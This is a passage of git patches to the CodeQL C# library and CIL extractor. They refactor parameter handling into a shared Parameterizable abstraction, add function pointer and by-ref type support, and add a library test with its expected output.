a/csharp/ql/src/semmle/code/cil/CIL.qll b/csharp/ql/src/semmle/code/cil/CIL.qll index 04adbda83b7..1e77d98fd29 100644 --- a/csharp/ql/src/semmle/code/cil/CIL.qll +++ b/csharp/ql/src/semmle/code/cil/CIL.qll @@ -19,3 +19,4 @@ import DataFlow import Attribute import Stubs import CustomModifierReceiver +import Parameterizable diff --git a/csharp/ql/src/semmle/code/cil/DataFlow.qll b/csharp/ql/src/semmle/code/cil/DataFlow.qll index 7316a06b2de..6991658ea3a 100644 --- a/csharp/ql/src/semmle/code/cil/DataFlow.qll +++ b/csharp/ql/src/semmle/code/cil/DataFlow.qll @@ -74,7 +74,7 @@ private predicate localExactStep(DataFlowNode src, DataFlowNode sink) { or src = sink.(ConditionalBranch).getAnOperand() or - src = sink.(Parameter).getAWrite() + src = sink.(MethodParameter).getAWrite() or exists(VariableUpdate update | update.getVariable().(Parameter) = sink and src = update.getSource() diff --git a/csharp/ql/src/semmle/code/cil/Instructions.qll b/csharp/ql/src/semmle/code/cil/Instructions.qll index 438c16518f8..bc79e15d4e4 100644 --- a/csharp/ql/src/semmle/code/cil/Instructions.qll +++ b/csharp/ql/src/semmle/code/cil/Instructions.qll @@ -626,35 +626,43 @@ module Opcodes { class Ldarg_0 extends ParameterReadAccess, @cil_ldarg_0 { override string getOpcodeName() { result = "ldarg.0" } - override Parameter getTarget() { result = getImplementation().getMethod().getRawParameter(0) } + override MethodParameter getTarget() { + result = getImplementation().getMethod().getRawParameter(0) + } } /** An `ldarg.1` instruction. */ class Ldarg_1 extends ParameterReadAccess, @cil_ldarg_1 { override string getOpcodeName() { result = "ldarg.1" } - override Parameter getTarget() { result = getImplementation().getMethod().getRawParameter(1) } + override MethodParameter getTarget() { + result = getImplementation().getMethod().getRawParameter(1) + } } /** An `ldarg.2` instruction. */ class Ldarg_2 extends ParameterReadAccess, @cil_ldarg_2 { override string getOpcodeName() { result = "ldarg.2" } - override Parameter getTarget() { result = getImplementation().getMethod().getRawParameter(2) } + override MethodParameter getTarget() { + result = getImplementation().getMethod().getRawParameter(2) + } } /** An `ldarg.3` instruction. */ class Ldarg_3 extends ParameterReadAccess, @cil_ldarg_3 { override string getOpcodeName() { result = "ldarg.3" } - override Parameter getTarget() { result = getImplementation().getMethod().getRawParameter(3) } + override MethodParameter getTarget() { + result = getImplementation().getMethod().getRawParameter(3) + } } /** An `ldarg.s` instruction. */ class Ldarg_s extends ParameterReadAccess, @cil_ldarg_s { override string getOpcodeName() { result = "ldarg.s" } - override Parameter getTarget() { cil_access(this, result) } + override MethodParameter getTarget() { cil_access(this, result) } override string getExtra() { result = this.getTarget().getIndex().toString() } } @@ -663,21 +671,21 @@ module Opcodes { class Ldarg extends ParameterReadAccess, @cil_ldarg { override string getOpcodeName() { result = "ldarg" } - override Parameter getTarget() { cil_access(this, result) } + override MethodParameter getTarget() { cil_access(this, result) } } /** An `ldarga.s` instruction. */ class Ldarga_s extends ParameterReadAccess, ReadRefAccess, @cil_ldarga_s { override string getOpcodeName() { result = "ldarga.s" } - override Parameter getTarget() { cil_access(this, result) } + override MethodParameter getTarget() { cil_access(this, result) } } /** An `starg.s` instruction. */ class Starg_s extends ParameterWriteAccess, @cil_starg_s { override string getOpcodeName() { result = "starg.s" } - override Parameter getTarget() { cil_access(this, result) } + override MethodParameter getTarget() { cil_access(this, result) } } /** An `ldfld` instruction. */ diff --git a/csharp/ql/src/semmle/code/cil/Method.qll b/csharp/ql/src/semmle/code/cil/Method.qll index 36fdae94c3c..5ef282e582a 100644 --- a/csharp/ql/src/semmle/code/cil/Method.qll +++ b/csharp/ql/src/semmle/code/cil/Method.qll @@ -67,7 +67,7 @@ class MethodImplementation extends EntryPoint, @cil_method_implementation { * destructors, operators, accessors and so on. */ class Method extends DotNet::Callable, Element, Member, TypeContainer, DataFlowNode, - CustomModifierReceiver, @cil_method { + CustomModifierReceiver, Parameterizable, @cil_method { /** * Gets a method implementation, if any. Note that there can * be several implementations in different assemblies. @@ -89,9 +89,7 @@ class Method extends DotNet::Callable, Element, Member, TypeContainer, DataFlowN override Location getALocation() { cil_method_location(this.getUnboundDeclaration(), result) } - override Parameter getRawParameter(int n) { cil_parameter(result, this, n, _) } - - override Parameter getParameter(int n) { + override MethodParameter getParameter(int n) { if isStatic() then result = getRawParameter(n) else (result = getRawParameter(n + 1) and n >= 0) } diff --git a/csharp/ql/src/semmle/code/cil/Parameterizable.qll b/csharp/ql/src/semmle/code/cil/Parameterizable.qll new file mode 100644 index 00000000000..77b16aba025 --- /dev/null +++ b/csharp/ql/src/semmle/code/cil/Parameterizable.qll @@ -0,0 +1,15 @@ +/** + * Provides `Parameterizable` class. + */ + +private import CIL +private import dotnet + +/** + * A parameterizable entity, such as `FunctionPointerType` or `Method`. + */ +class Parameterizable extends DotNet::Parameterizable, Element, @cil_parameterizable { + override Parameter getRawParameter(int n) { cil_parameter(result, this, n, _) } + + override Parameter getParameter(int n) { cil_parameter(result, this, n, _) } +} diff --git a/csharp/ql/src/semmle/code/cil/Types.qll b/csharp/ql/src/semmle/code/cil/Types.qll index 5a106eeb0cb..0a07e78bb20 100644 --- a/csharp/ql/src/semmle/code/cil/Types.qll +++ b/csharp/ql/src/semmle/code/cil/Types.qll @@ -288,3 +288,21 @@ class CharType extends IntegralType { class SystemType extends ValueOrRefType { SystemType() { this.isSystemType("Type") } } + +/** + * A function pointer type, for example + * + * ```csharp + * delegate*<int, void> + * ``` + */ +class FunctionPointerType extends Type, CustomModifierReceiver, Parameterizable, + @cil_function_pointer_type { + /** Gets the return type of this function pointer. */ + Type getReturnType() { cil_function_pointer_return_type(this, result) } + + /** Gets the calling convention. */ + int getCallingConvention() { cil_function_pointer_calling_conventions(this, result) } + + override string toString() { result = Type.super.toString() } +} diff --git a/csharp/ql/src/semmle/code/cil/Variable.qll b/csharp/ql/src/semmle/code/cil/Variable.qll index 03679fb6bd1..3a247e1f0d1 100644 --- a/csharp/ql/src/semmle/code/cil/Variable.qll +++ b/csharp/ql/src/semmle/code/cil/Variable.qll @@ -56,17 +56,16 @@ class LocalVariable extends StackVariable, @cil_local_variable { override Method getMethod() { result = getImplementation().getMethod() } } -/** A method parameter. */ -class Parameter extends DotNet::Parameter, StackVariable, CustomModifierReceiver, @cil_parameter { - /** Gets the method declaring this parameter. */ - override Method getMethod() { this = result.getARawParameter() } - - override Method getCallable() { result = getMethod() } +/** A parameter of a `Method` or `FunctionPointerType`. */ +class Parameter extends DotNet::Parameter, CustomModifierReceiver, @cil_parameter { + override Parameterizable getDeclaringElement() { cil_parameter(this, result, _, _) } /** Gets the index of this parameter. */ int getIndex() { cil_parameter(this, _, result, _) } - override string toString() { result = "Parameter " + getIndex() + " of " + getMethod().getName() } + override string toString() { + result = "Parameter " + getIndex() + " of " + getDeclaringElement().getName() + } override Type getType() { cil_parameter(this, _, _, result) } @@ -99,22 +98,36 @@ class Parameter extends DotNet::Parameter, StackVariable, CustomModifierReceiver else result = "" } - override Location getLocation() { result = getMethod().getLocation() } + override Location getLocation() { result = getDeclaringElement().getLocation() } +} + +/** A method parameter. */ +class MethodParameter extends Parameter, StackVariable { + /** Gets the method declaring this parameter. */ + override Method getMethod() { this = result.getARawParameter() } override ParameterAccess getAnAccess() { result.getTarget() = this } /** Gets a parameter in an overridden method. */ - Parameter getOverriddenParameter() { + MethodParameter getOverriddenParameter() { result = getMethod().getOverriddenMethod().getRawParameter(getRawPosition()) } - override Parameter getUnboundDeclaration() { + override MethodParameter getUnboundDeclaration() { result = getMethod().getUnboundDeclaration().getRawParameter(getRawPosition()) } + + override string toString() { result = Parameter.super.toString() } + + override string toStringWithTypes() { result = Parameter.super.toStringWithTypes() } + + override Type getType() { result = Parameter.super.getType() } + + override Location getLocation() { result = Parameter.super.getLocation() } } /** A parameter corresponding to `this`. */ -class ThisParameter extends Parameter { +class ThisParameter extends MethodParameter { ThisParameter() { not this.getMethod().isStatic() and this.getIndex() = 0 diff --git a/csharp/ql/src/semmle/code/csharp/Member.qll b/csharp/ql/src/semmle/code/csharp/Member.qll index 0b3e06c2e5e..1d2bfe0a284 100644 --- a/csharp/ql/src/semmle/code/csharp/Member.qll +++ b/csharp/ql/src/semmle/code/csharp/Member.qll @@ -316,18 +316,10 @@ class Virtualizable extends Member, @virtualizable { * A parameterizable declaration. Either a callable (`Callable`), a delegate * type (`DelegateType`), or an indexer (`Indexer`). */ -class Parameterizable extends Declaration, @parameterizable { - /** Gets a parameter of this declaration, if any. */ - Parameter getAParameter() { result = getParameter(_) } +class Parameterizable extends DotNet::Parameterizable, Declaration, @parameterizable { + override Parameter getRawParameter(int i) { params(result, _, _, i, _, this, _) } - /** Gets the `i`th parameter of this declaration. */ - Parameter getParameter(int i) { params(result, _, _, i, _, this, _) } - - /** Gets the number of parameters of this declaration. */ - int getNumberOfParameters() { result = count(this.getAParameter()) } - - /** Holds if this declaration has no parameters. */ - predicate hasNoParameters() { not exists(this.getAParameter()) } + override Parameter getParameter(int i) { params(result, _, _, i, _, this, _) } /** * Gets the name of this parameter followed by its type, possibly prefixed diff --git a/csharp/ql/src/semmle/code/csharp/Variable.qll b/csharp/ql/src/semmle/code/csharp/Variable.qll index 6756ca6e533..a13175dfeb0 100644 --- a/csharp/ql/src/semmle/code/csharp/Variable.qll +++ b/csharp/ql/src/semmle/code/csharp/Variable.qll @@ -177,7 +177,7 @@ class Parameter extends DotNet::Parameter, LocalScopeVariable, Attributable, Top predicate hasExtensionMethodModifier() { params(this, _, _, _, 4, _, _) } /** Gets the declaring element of this parameter. */ - Parameterizable getDeclaringElement() { params(this, _, _, _, _, result, _) } + override Parameterizable getDeclaringElement() { params(this, _, _, _, _, result, _) } override Parameter getUnboundDeclaration() { params(this, _, _, _, _, _, result) } @@ -213,7 +213,7 @@ class Parameter extends DotNet::Parameter, LocalScopeVariable, Attributable, Top predicate hasDefaultValue() { exists(getDefaultValue()) } /** Gets the callable to which this parameter belongs, if any. */ - override Callable getCallable() { result.getAParameter() = this } + override Callable getCallable() { result = this.getDeclaringElement() } /** * Gets an argument which is assigned to this parameter in a call to the diff --git a/csharp/ql/src/semmle/code/csharp/dataflow/internal/DataFlowPrivate.qll b/csharp/ql/src/semmle/code/csharp/dataflow/internal/DataFlowPrivate.qll index 001e071c651..62d3318d4d5 100644 --- a/csharp/ql/src/semmle/code/csharp/dataflow/internal/DataFlowPrivate.qll +++ b/csharp/ql/src/semmle/code/csharp/dataflow/internal/DataFlowPrivate.qll @@ -571,7 +571,7 @@ private module Cached { TCilExprNode(CIL::Expr e) { e.getImplementation() instanceof CIL::BestImplementation } or TSsaDefinitionNode(Ssa::Definition def) or TInstanceParameterNode(Callable c) { c.hasBody() and not c.(Modifiable).isStatic() } or - TCilParameterNode(CIL::Parameter p) { p.getMethod().hasBody() } or + TCilParameterNode(CIL::MethodParameter p) { p.getMethod().hasBody() } or TYieldReturnNode(ControlFlow::Nodes::ElementNode cfn) { any(Callable c).canYieldReturn(cfn.getElement()) } or diff --git a/csharp/ql/src/semmle/code/dotnet/Callable.qll b/csharp/ql/src/semmle/code/dotnet/Callable.qll index 1443da24481..7cdb248d669 100644 --- a/csharp/ql/src/semmle/code/dotnet/Callable.qll +++ b/csharp/ql/src/semmle/code/dotnet/Callable.qll @@ -6,29 +6,13 @@ import Declaration import Variable import Expr +import Parameterizable /** A .Net callable. */ -class Callable extends Declaration, @dotnet_callable { - /** Gets raw parameter `i`, including the `this` parameter at index 0. */ - Parameter getRawParameter(int i) { none() } - - /** Gets the `i`th parameter, excluding the `this` parameter. */ - Parameter getParameter(int i) { none() } - +class Callable extends Parameterizable, @dotnet_callable { /** Holds if this callable has a body or an implementation. */ predicate hasBody() { none() } - override Callable getUnboundDeclaration() { result = Declaration.super.getUnboundDeclaration() } - - /** Gets the number of parameters of this callable. */ - int getNumberOfParameters() { result = count(getAParameter()) } - - /** Gets a parameter, if any. */ - Parameter getAParameter() { result = getParameter(_) } - - /** Gets a raw parameter (including the qualifier), if any. */ - final Parameter getARawParameter() { result = getRawParameter(_) } - /** Holds if this callable can return expression `e`. */ predicate canReturn(Expr e) { none() } diff --git a/csharp/ql/src/semmle/code/dotnet/Parameterizable.qll b/csharp/ql/src/semmle/code/dotnet/Parameterizable.qll new file mode 100644 index 00000000000..8a1f9c108ca --- /dev/null +++ b/csharp/ql/src/semmle/code/dotnet/Parameterizable.qll @@ -0,0 +1,30 @@ +/** + * Provides a general parameterizable entity to represent constructs that might + * have parameters. + */ + +import Declaration + +/** + * A general parameterizable entity, such as a callable, delegate type, accessor, + * indexer, or function pointer type. + */ +class Parameterizable extends Declaration, @dotnet_parameterizable { + /** Gets raw parameter `i`, including the `this` parameter at index 0. */ + Parameter getRawParameter(int i) { none() } + + /** Gets the `i`th parameter, excluding the `this` parameter. */ + Parameter getParameter(int i) { none() } + + /** Gets the number of parameters of this callable. */ + int getNumberOfParameters() { result = count(this.getAParameter()) } + + /** Holds if this declaration has no parameters. */ + predicate hasNoParameters() { not exists(this.getAParameter()) } + + /** Gets a parameter, if any. */ + Parameter getAParameter() { result = this.getParameter(_) } + + /** Gets a raw parameter (including the qualifier), if any. */ + final Parameter getARawParameter() { result = this.getRawParameter(_) } +} diff --git a/csharp/ql/src/semmle/code/dotnet/Variable.qll b/csharp/ql/src/semmle/code/dotnet/Variable.qll index c004b9ab6b3..9f9a12e7d98 100644 --- a/csharp/ql/src/semmle/code/dotnet/Variable.qll +++ b/csharp/ql/src/semmle/code/dotnet/Variable.qll @@ -12,16 +12,19 @@ class Variable extends Declaration, @dotnet_variable { /** A .Net field. */ class Field extends Variable, Member, @dotnet_field { } -/** A parameter to a .Net callable or property. */ +/** A parameter to a .Net callable, property or function pointer type. */ class Parameter extends Variable, @dotnet_parameter { /** Gets the raw position of this parameter, including the `this` parameter at index 0. */ - final int getRawPosition() { this = getCallable().getRawParameter(result) } + final int getRawPosition() { this = getDeclaringElement().getRawParameter(result) } /** Gets the position of this parameter, excluding the `this` parameter. */ - int getPosition() { this = getCallable().getParameter(result) } + int getPosition() { this = getDeclaringElement().getParameter(result) } /** Gets the callable defining this parameter. */ - Callable getCallable() { none() } + Callable getCallable() { result = this.getDeclaringElement() } + + /** Gets the declaring `Parameterizable`. */ + Parameterizable getDeclaringElement() { none() } /** Holds if this is an `out` parameter. */ predicate isOut() { none() } diff --git a/csharp/ql/src/semmlecode.csharp.dbscheme b/csharp/ql/src/semmlecode.csharp.dbscheme index e0e4ca2c62a..712940d4218 100644 --- a/csharp/ql/src/semmlecode.csharp.dbscheme +++ b/csharp/ql/src/semmlecode.csharp.dbscheme @@ -1918,6 +1918,7 @@ cil_attribute_positional_argument( @dotnet_member = @member | @cil_member; @dotnet_event = @event | @cil_event; @dotnet_property = @property | @cil_property | @indexer; +@dotnet_parameterizable = @parameterizable | @cil_parameterizable; // Common types @dotnet_type = @type | @cil_type; diff --git a/csharp/ql/test/library-tests/cil/functionPointers/functionPointers.expected b/csharp/ql/test/library-tests/cil/functionPointers/functionPointers.expected new file mode 100644 index 00000000000..c1ca2539a91 --- /dev/null +++ b/csharp/ql/test/library-tests/cil/functionPointers/functionPointers.expected @@ -0,0 +1,29 @@ +fnptr +| file://:0:0:0:0 | delegate* managed<!0,Int32> | 1 | file://:0:0:0:0 | Int32 | 0 | +| file://:0:0:0:0 | delegate* managed<A,B> | 1 | file://:0:0:0:0 | B | 0 | +| file://:0:0:0:0 | delegate* managed<B,A> | 1 | file://:0:0:0:0 | A | 0 | +| file://:0:0:0:0 | delegate* managed<Int32*,Void*> | 1 | file://:0:0:0:0 | Void* | 0 | +| file://:0:0:0:0 | delegate* managed<Int32,Object modreq(OutAttribute),Int32 modreq(InAttribute),Int32> | 3 | file://:0:0:0:0 | Int32 | 0 | +| file://:0:0:0:0 | delegate* managed<Int32,Object modreq(OutAttribute),Int32> | 2 | file://:0:0:0:0 | Int32 | 0 | +| file://:0:0:0:0 | delegate* managed<Int32> | 0 | file://:0:0:0:0 | Int32 | 0 | +| file://:0:0:0:0 | delegate* managed<Void*,Int32*> | 1 | file://:0:0:0:0 | Int32* | 0 | +| file://:0:0:0:0 | delegate* unmanaged[StdCall]<Int32,Object modreq(OutAttribute),!0,Void> | 3 | file://:0:0:0:0 | void | 2 | +params +| file://:0:0:0:0 | delegate* managed<!0,Int32> | 0 | file://:0:0:0:0 | Parameter 0 of delegate* managed<!0,Int32> | fnptr.dll:0:0:0:0 | !0 | +| file://:0:0:0:0 | delegate* managed<A,B> | 0 | file://:0:0:0:0 | Parameter 0 of delegate* managed<A,B> | file://:0:0:0:0 | A | +| file://:0:0:0:0 | delegate* managed<B,A> | 0 | file://:0:0:0:0 | Parameter 0 of delegate* managed<B,A> | file://:0:0:0:0 | B | +| file://:0:0:0:0 | delegate* managed<Int32*,Void*> | 0 | file://:0:0:0:0 | Parameter 0 of delegate* managed<Int32*,Void*> | file://:0:0:0:0 | Int32* | +| file://:0:0:0:0 | delegate* managed<Int32,Object modreq(OutAttribute),Int32 modreq(InAttribute),Int32> | 0 | file://:0:0:0:0 | Parameter 0 of delegate* managed<Int32,Object modreq(OutAttribute),Int32 modreq(InAttribute),Int32> | file://:0:0:0:0 | Int32 | +| file://:0:0:0:0 | delegate* managed<Int32,Object modreq(OutAttribute),Int32 modreq(InAttribute),Int32> | 1 | file://:0:0:0:0 | Parameter 1 of delegate* managed<Int32,Object modreq(OutAttribute),Int32 modreq(InAttribute),Int32> | file://:0:0:0:0 | Object | +| file://:0:0:0:0 | delegate* managed<Int32,Object modreq(OutAttribute),Int32 modreq(InAttribute),Int32> | 2 | file://:0:0:0:0 | Parameter 2 of delegate* managed<Int32,Object modreq(OutAttribute),Int32 modreq(InAttribute),Int32> | file://:0:0:0:0 | Int32 | +| file://:0:0:0:0 | delegate* managed<Int32,Object modreq(OutAttribute),Int32> | 0 | file://:0:0:0:0 | Parameter 0 of delegate* managed<Int32,Object modreq(OutAttribute),Int32> | file://:0:0:0:0 | Int32 | +| file://:0:0:0:0 | delegate* managed<Int32,Object modreq(OutAttribute),Int32> | 1 | file://:0:0:0:0 | Parameter 1 of delegate* managed<Int32,Object modreq(OutAttribute),Int32> | file://:0:0:0:0 | Object | +| file://:0:0:0:0 | delegate* managed<Void*,Int32*> | 0 | file://:0:0:0:0 | Parameter 0 of delegate* managed<Void*,Int32*> | file://:0:0:0:0 | Void* | +| file://:0:0:0:0 | delegate* unmanaged[StdCall]<Int32,Object modreq(OutAttribute),!0,Void> | 0 | file://:0:0:0:0 | Parameter 0 of delegate* unmanaged[StdCall]<Int32,Object modreq(OutAttribute),!0,Void> | file://:0:0:0:0 | Int32 | +| file://:0:0:0:0 | delegate* unmanaged[StdCall]<Int32,Object modreq(OutAttribute),!0,Void> | 1 | file://:0:0:0:0 | Parameter 1 of delegate* unmanaged[StdCall]<Int32,Object modreq(OutAttribute),!0,Void> | file://:0:0:0:0 | Object | +| file://:0:0:0:0 | delegate* unmanaged[StdCall]<Int32,Object modreq(OutAttribute),!0,Void> | 2 | file://:0:0:0:0 | Parameter 2 of delegate* unmanaged[StdCall]<Int32,Object modreq(OutAttribute),!0,Void> | fnptr.dll:0:0:0:0 | !0 | +modifiers +| file://:0:0:0:0 | delegate* managed<Int32,Object modreq(OutAttribute),Int32 modreq(InAttribute),Int32> | System.Runtime.InteropServices.InAttribute | modreq | +| file://:0:0:0:0 | delegate* managed<Int32,Object modreq(OutAttribute),Int32 modreq(InAttribute),Int32> | System.Runtime.InteropServices.OutAttribute | modreq | +| file://:0:0:0:0 | delegate* managed<Int32,Object modreq(OutAttribute),Int32> | System.Runtime.InteropServices.OutAttribute | modreq | +| file://:0:0:0:0 | delegate* unmanaged[StdCall]<Int32,Object modreq(OutAttribute),!0,Void> | System.Runtime.InteropServices.OutAttribute | modreq | diff --git a/csharp/ql/test/library-tests/cil/functionPointers/functionPointers.ql b/csharp/ql/test/library-tests/cil/functionPointers/functionPointers.ql new file mode 100644 index 00000000000..dc68fc951f2 --- /dev/null +++ b/csharp/ql/test/library-tests/cil/functionPointers/functionPointers.ql @@ -0,0 +1,23 @@ +import cil +import semmle.code.cil.Type + +bindingset[kind] +private string getKind(int kind) { if kind = 1 then result = "modreq" else result = "modopt" } + +query predicate fnptr(FunctionPointerType fn, int paramCount, Type returnType, int callingConvention) { + paramCount = fn.getNumberOfParameters() and + returnType = fn.getReturnType() and + callingConvention = fn.getCallingConvention() +} + +query predicate params(FunctionPointerType fn, int i, Parameter p, Type t) { + fn.getParameter(i) = p and p.getType() = t +} + +query predicate modifiers(FunctionPointerType fn, string modifier, string sKind) { + exists(Type modType, int kind | + cil_custom_modifiers(fn, modType, kind) and + modType.getQualifiedName() = modifier and + sKind = getKind(kind) + ) +} From f99bf5755c033fa646c5a3bdd1a702c7dca67d75 Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Mon, 11 Jan 2021 11:36:24 +0100 Subject: [PATCH 0732/1241] Merge parameter extraction between methods and function pointers --- .../Entities/FunctionPointerType.cs | 11 ++--------- .../Semmle.Extraction.CIL/Entities/Method.cs | 13 +++++++++++-- 2 files changed, 13 insertions(+), 11 deletions(-) diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/FunctionPointerType.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/FunctionPointerType.cs index 8609e858ed4..2ce644d4261 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/FunctionPointerType.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/FunctionPointerType.cs @@ -99,16 +99,9 @@ namespace Semmle.Extraction.CIL.Entities yield return Tuples.cil_function_pointer_calling_conventions(this, signature.Header.CallingConvention); - var i = 0; - foreach (var p in signature.ParameterTypes) + foreach (var p in Method.GetParameterExtractionProducts(signature.ParameterTypes, this, this, Cx, 0)) { - var t = p; - if (t is ModifiedType mtparam) - { - t = mtparam.Unmodified; - yield return Tuples.cil_custom_modifiers(this, mtparam.Modifier, mtparam.IsRequired); - } - yield return Cx.Populate(new Parameter(Cx, this, i++, t)); + yield return p; } } } diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/Method.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/Method.cs index d4da3e16463..53ff032ba3f 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/Method.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/Method.cs @@ -86,15 +86,24 @@ namespace Semmle.Extraction.CIL.Entities yield return Cx.Populate(new Parameter(Cx, this, i++, DeclaringType)); } + foreach (var p in GetParameterExtractionProducts(parameterTypes, this, this, Cx, i)) + { + yield return p; + } + } + + internal static IEnumerable<IExtractionProduct> GetParameterExtractionProducts(IEnumerable<Type> parameterTypes, IParameterizable parameterizable, ICustomModifierReceiver receiver, Context cx, int firstChildIndex) + { + var i = firstChildIndex; foreach (var p in parameterTypes) { var t = p; if (t is ModifiedType mt) { t = mt.Unmodified; - yield return Tuples.cil_custom_modifiers(this, mt.Modifier, mt.IsRequired); + yield return Tuples.cil_custom_modifiers(receiver, mt.Modifier, mt.IsRequired); } - yield return Cx.Populate(new Parameter(Cx, this, i++, t)); + yield return cx.Populate(new Parameter(cx, parameterizable, i++, t)); } } From 2804f5cba998c6e83fd95d7dcedb9c870c935abf Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Mon, 11 Jan 2021 21:27:11 +0100 Subject: [PATCH 0733/1241] Add by-ref, and fix pinned CIL extraction --- .../Entities/ByRefType.cs | 42 +++++++++++++++++++ .../Entities/DefinitionMethod.cs | 7 +++- .../Entities/FunctionPointerType.cs | 4 ++ .../Semmle.Extraction.CIL/Entities/Method.cs | 8 ++++ .../Entities/Property.cs | 4 ++ .../Entities/SignatureDecoder.cs | 20 +-------- .../Entities/TypeSignatureDecoder.cs | 5 +-- .../functionPointers.expected | 30 ++++++------- 8 files changed, 83 insertions(+), 37 deletions(-) create mode 100644 csharp/extractor/Semmle.Extraction.CIL/Entities/ByRefType.cs diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/ByRefType.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/ByRefType.cs new file mode 100644 index 00000000000..2a527419249 --- /dev/null +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/ByRefType.cs @@ -0,0 +1,42 @@ +using System; +using System.Collections.Generic; +using System.IO; + +namespace Semmle.Extraction.CIL.Entities +{ + /// <summary> + /// Types that are passed by reference are not written directly to trap files. Instead, the annotation is stored on + /// the entity. + /// </summary> + internal sealed class ByRefType : Type + { + public ByRefType(Context cx, Type elementType) : base(cx) + { + ElementType = elementType; + } + + public override CilTypeKind Kind => throw new NotImplementedException(); + + public override Namespace? ContainingNamespace => throw new NotImplementedException(); + + public override Type? ContainingType => throw new NotImplementedException(); + + public override int ThisTypeParameterCount => throw new NotImplementedException(); + + public override IEnumerable<Type> TypeParameters => throw new NotImplementedException(); + + public override Type Construct(IEnumerable<Type> typeArguments) => throw new NotImplementedException(); + + public override string Name => $"{ElementType.Name}&"; + + public Type ElementType { get; } + + public override void WriteAssemblyPrefix(TextWriter trapFile) => throw new NotImplementedException(); + + public override void WriteId(TextWriter trapFile, bool inContext) + { + ElementType.WriteId(trapFile, inContext); + trapFile.Write('&'); + } + } +} diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/DefinitionMethod.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/DefinitionMethod.cs index 353015bb9ad..60af5e2cc6e 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/DefinitionMethod.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/DefinitionMethod.cs @@ -121,7 +121,12 @@ namespace Semmle.Extraction.CIL.Entities for (var l = 0; l < this.locals.Length; ++l) { - this.locals[l] = Cx.Populate(new LocalVariable(Cx, Implementation, l, localVariableTypes[l])); + var t = localVariableTypes[l]; + if (t is ByRefType brt) + { + t = brt.ElementType; + } + this.locals[l] = Cx.Populate(new LocalVariable(Cx, Implementation, l, t)); yield return this.locals[l]; } } diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/FunctionPointerType.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/FunctionPointerType.cs index 2ce644d4261..b86fbc61e0c 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/FunctionPointerType.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/FunctionPointerType.cs @@ -95,6 +95,10 @@ namespace Semmle.Extraction.CIL.Entities retType = mt.Unmodified; yield return Tuples.cil_custom_modifiers(this, mt.Modifier, mt.IsRequired); } + if (retType is ByRefType byRefType) + { + retType = byRefType.ElementType; + } yield return Tuples.cil_function_pointer_return_type(this, retType); yield return Tuples.cil_function_pointer_calling_conventions(this, signature.Header.CallingConvention); diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/Method.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/Method.cs index 53ff032ba3f..dd534ac3431 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/Method.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/Method.cs @@ -103,6 +103,10 @@ namespace Semmle.Extraction.CIL.Entities t = mt.Unmodified; yield return Tuples.cil_custom_modifiers(receiver, mt.Modifier, mt.IsRequired); } + if (t is ByRefType brt) + { + t = brt.ElementType; + } yield return cx.Populate(new Parameter(cx, parameterizable, i++, t)); } } @@ -115,6 +119,10 @@ namespace Semmle.Extraction.CIL.Entities t = mt.Unmodified; yield return Tuples.cil_custom_modifiers(this, mt.Modifier, mt.IsRequired); } + if (t is ByRefType brt) + { + t = brt.ElementType; + } yield return Tuples.cil_method(this, name, declaringType, t); } } diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/Property.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/Property.cs index 3a15bf795fe..879b53da077 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/Property.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/Property.cs @@ -62,6 +62,10 @@ namespace Semmle.Extraction.CIL.Entities t = mt.Unmodified; yield return Tuples.cil_custom_modifiers(this, mt.Modifier, mt.IsRequired); } + if (t is ByRefType brt) + { + t = brt.ElementType; + } yield return Tuples.cil_property(this, type, name, t); var accessors = pd.GetAccessors(); diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/SignatureDecoder.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/SignatureDecoder.cs index d5b3ca176ec..a80f456df72 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/SignatureDecoder.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/SignatureDecoder.cs @@ -41,8 +41,8 @@ namespace Semmle.Extraction.CIL.Entities public void WriteId(TextWriter trapFile, GenericContext gc) { - trapFile.Write("ref "); elementType.WriteId(trapFile, gc); + trapFile.Write('&'); } } @@ -173,25 +173,9 @@ namespace Semmle.Extraction.CIL.Entities return new Modified(unmodifiedType, modifier, isRequired); } - private class Pinned : ITypeSignature - { - private readonly ITypeSignature elementType; - - public Pinned(ITypeSignature elementType) - { - this.elementType = elementType; - } - - public void WriteId(TextWriter trapFile, GenericContext gc) - { - trapFile.Write("pinned "); - elementType.WriteId(trapFile, gc); - } - } - ITypeSignature ISignatureTypeProvider<ITypeSignature, object>.GetPinnedType(ITypeSignature elementType) { - return new Pinned(elementType); + return elementType; } private class PointerType : ITypeSignature diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeSignatureDecoder.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeSignatureDecoder.cs index 45805fda115..dcb986f1526 100644 --- 